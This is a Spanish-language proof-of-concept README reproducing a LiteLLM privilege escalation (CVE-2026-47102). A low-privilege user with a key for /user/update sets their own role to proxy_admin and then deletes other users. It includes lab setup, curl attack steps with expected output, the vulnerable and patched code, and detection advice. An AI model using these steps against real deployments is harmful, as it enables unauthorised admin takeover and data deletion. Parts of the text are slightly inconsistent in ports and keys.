
El código para reproducir personalmente la vulnerabilidad correspondiente
/user/updateLiteLLM v1.83.7 (antes de v1.83.10) el endpoint
/user/updatepermite a usuarios con bajo privilegio que tengan acceso a este endpoint, modificar el campouser_roleaproxy_adminal actualizar su propia cuenta, logrando una escalada de privilegios no autorizada.
| Field | Value |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorización Incorrecta) |
| Afectado | LiteLLM < 1.83.10 (confirmado en v1.83.7) |
| Corregido | v1.83.10+ (se añadió validación de permisos para modificar el campo user_role) |
| Publicado | 2026-05-21 |
| Descubierto por | Fenix Qiao (13ph03nix) — Obsidian Security |
| Enlaces | NVD |
El endpoint /user/update de LiteLLM se utiliza para actualizar atributos de usuario. En las versiones afectadas, la función
can_user_call_user_update() de /user/update verifica si el usuario tiene permiso para actualizar al usuario especificado (permitiendo que un usuario actualice su propio registro), pero no impone ninguna restricción sobre los campos modificables.
Esto significa que cualquier usuario que pueda acceder al endpoint /user/update (por ejemplo, un usuario al que un administrador le haya otorgado permiso para esa ruta, o un atacante que haya obtenido acceso a dicho endpoint mediante otra vulnerabilidad) puede elevar su propio rol a proxy_admin modificando su campo user_role, obteniendo así acceso completo a todos los endpoints administrativos.
Admin crea una API key para internal_user con permiso de ruta /user/update
→ internal_user obtiene acceso a nivel de ruta
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Rol elevado a proxy_admin
→ GET /user/list (verificación de acceso administrativo)
Ambas vulnerabilidades pueden encadenarse: CVE-2026-47101 para crear una key con ruta comodín (acceder a
/user/update), y CVE-2026-47102 para elevar el propio rol aproxy_admin.
# 1. Iniciar PostgreSQL + LiteLLM vulnerable (v1.83.7-stable)
docker compose up -d litellm
# Esperar a que el servicio esté listo (aprox. 10-30 segundos)
sleep 15
# Ver registros del contenedor
docker logs litellm-47102-privesc 2>&1 | tail -10
La salida esperada debe incluir registros de inicio exitoso como Uvicorn running on http://0.0.0.0:4000.
Usar la clave maestra para crear una cuenta internal_user con pocos privilegios:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Salida esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
El administrador crea una API key para internal_user con acceso a la ruta /user/update.
Esta es la forma típica de obtener acceso al endpoint /user/update en un entorno real:
# Usar la clave maestra para crear una key con la ruta /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Salida esperada:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Usar la key obtenida en el paso anterior, que tiene permiso de ruta /user/update, para elevar el rol del usuario a proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Salida esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Punto vulnerable: ¡
user_roleha cambiado deinternal_useraproxy_admin! El endpoint/user/updatepermite al usuario modificar su propio campouser_rolesin ninguna restricción de permisos a nivel de campo.
Verificar que la elevación de rol ha surtido efecto a través del endpoint /user/list (usando la API key original de internal_user, que no tiene restricciones de ruta; después de la elevación a proxy_admin, obtiene automáticamente permisos administrativos):
# Usar la key elevada a proxy_admin (la key original de internal_user, sin restricciones de ruta)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Salida esperada:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Aprovechando el permiso proxy_admin obtenido, se puede eliminar cualquier usuario mediante /user/delete
(también usando la API key original de internal_user):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Salida esperada:
1
Los pasos anteriores están integrados en demo.sh, que se puede ejecutar directamente:
# Reproducción completa (incluye comparación entre versión vulnerable y corregida)
bash demo.sh
Iniciar la versión corregida (v1.83.10-stable) para verificar que CVE-2026-47102 ha sido reparado:
docker compose --profile fixed up -d litellm-fixed
Crear un usuario interno:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Crear una key con la ruta /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Intentar la escalada de privilegios (se espera que sea bloqueada):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Salida esperada (la versión corregida bloquea la solicitud no autorizada):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Comparación con la versión vulnerable:
| Escenario de prueba | Versión vulnerable (v1.83.7) | Versión corregida (v1.83.10) |
|---|---|---|
| Modificar user_role con key de ruta | ✅ Escalada exitosa a proxy_admin | ❌ Bloqueado ("Only proxy admins can modify user roles.") |
| Acceder a /user/list | ✅ Lista de usuarios obtenida correctamente | ❌ Bloqueado |
La causa raíz de la vulnerabilidad se encuentra en la función can_user_call_user_update() del endpoint /user/update:
/user/update — Falta de Validación de Permisos a Nivel de Campo# Código vulnerable — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # El administrador puede actualizar cualquier usuario
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ El usuario puede actualizar su propio registro — ¡incluyendo el campo user_role!
return False
Parche (v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # El administrador aún puede actualizar cualquier usuario y campo
elif user_api_key_dict.user_id == user_info.user_id:
# Restringir campos que un no administrador puede modificar
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
El atacante necesita una API key que pueda acceder al endpoint /user/update. Esto se puede obtener de las siguientes maneras:
/user/update/key/generate para crear una key comodín/user/updatePaso 1: Obtener una API key con permiso de ruta /user/update
Paso 2: Llamar a /user/update para elevar el rol:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Paso 3: Verificar permisos de administrador:
GET /user/list
Authorization: Bearer sk-route-key
La versión corregida añadió validación de permisos a nivel de campo en /user/update:
metadatauser_role — Solo proxy_admin puede modificar roles de usuarioMensaje de error: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # Este archivo
├── CVE-2026-47102_漏洞复现报告.docx # Informe de reproducción (Chino)
├── docker-compose.yml # PostgreSQL + LiteLLM vulnerable/corregido
├── config.yaml # Configuración de LiteLLM con conexión a BD
├── requirements.txt # Dependencias de Python
├── demo.sh # Script de reproducción con un clic
├── exploit/
│ ├── exploit.py # Script de explotación en Python
│ └── payload.py # Constructores de payload
├── docs/
└── screenshots/
/user/update con cambios en user_role para detectar actividad anómalaAviso: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
| Elemento de comparación | CVE-2026-47101 | CVE-2026-47102 |
|---|
| Enfoque de la vulnerabilidad | /key/generate no valida allowed_routes | /user/update carece de permisos a nivel de campo |
| Prerrequisito de ataque | internal_user puede llamar directamente a /key/generate | Requiere obtener previamente acceso a la ruta /user/update |
| Versión corregida | v1.83.14 | v1.83.10 |